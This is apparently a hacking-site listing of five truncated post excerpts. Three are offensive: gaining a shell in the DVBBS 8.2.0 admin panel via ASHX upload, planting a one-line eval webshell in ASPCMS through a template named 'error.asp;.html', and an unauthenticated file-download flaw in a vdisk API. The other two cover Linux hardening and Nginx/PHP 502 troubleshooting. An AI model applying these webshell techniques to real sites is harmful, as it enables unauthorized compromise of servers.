-
DVBBS 8.2.0 后台 GET SHELL
和添加PHP一样，如何上传的php不能解析，或则管理员将PHP禁用的另外一则方法前提：支持ASPX,因为ASPX不能上传，我们需要上传的是ASHX源码:<%@ WebHandler Language="C#" Cl...
-
微盘(有条件)任意文件下载漏洞
简要描述：未验证文件所有者身份, 拿到具体文件信息之后可以直接下载, 但该信息并不易获取.详细说明：http://openapi.vdisk.me/?m=file&a=jump_to_s3&uid=UID&fid=F...
-
某牛的linux服务器安全设置
1.禁止ping/etc/rc.d/rc.localecho 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all 2.对用户和口令文件进行权限控制chmod 600 /etc/passwdchmod...
-
Nginx + PHP 5.2.17(FastCGI) 502 Bad Gateway错误
1、查看当前的PHP FastCGI进程数是否够用：netstat -anpo | grep “php-cgi” | wc -l 如果实际使用的”FastCGI进程数”接近预设的”...
-
最新ASPCMS系统后台拿webshell
点击“界面风格”，然后选“编辑模板/CSS文件”，然后“添加模板”，文件名称写error.asp;.html，文件内容写一句话<%eval request(&ld...
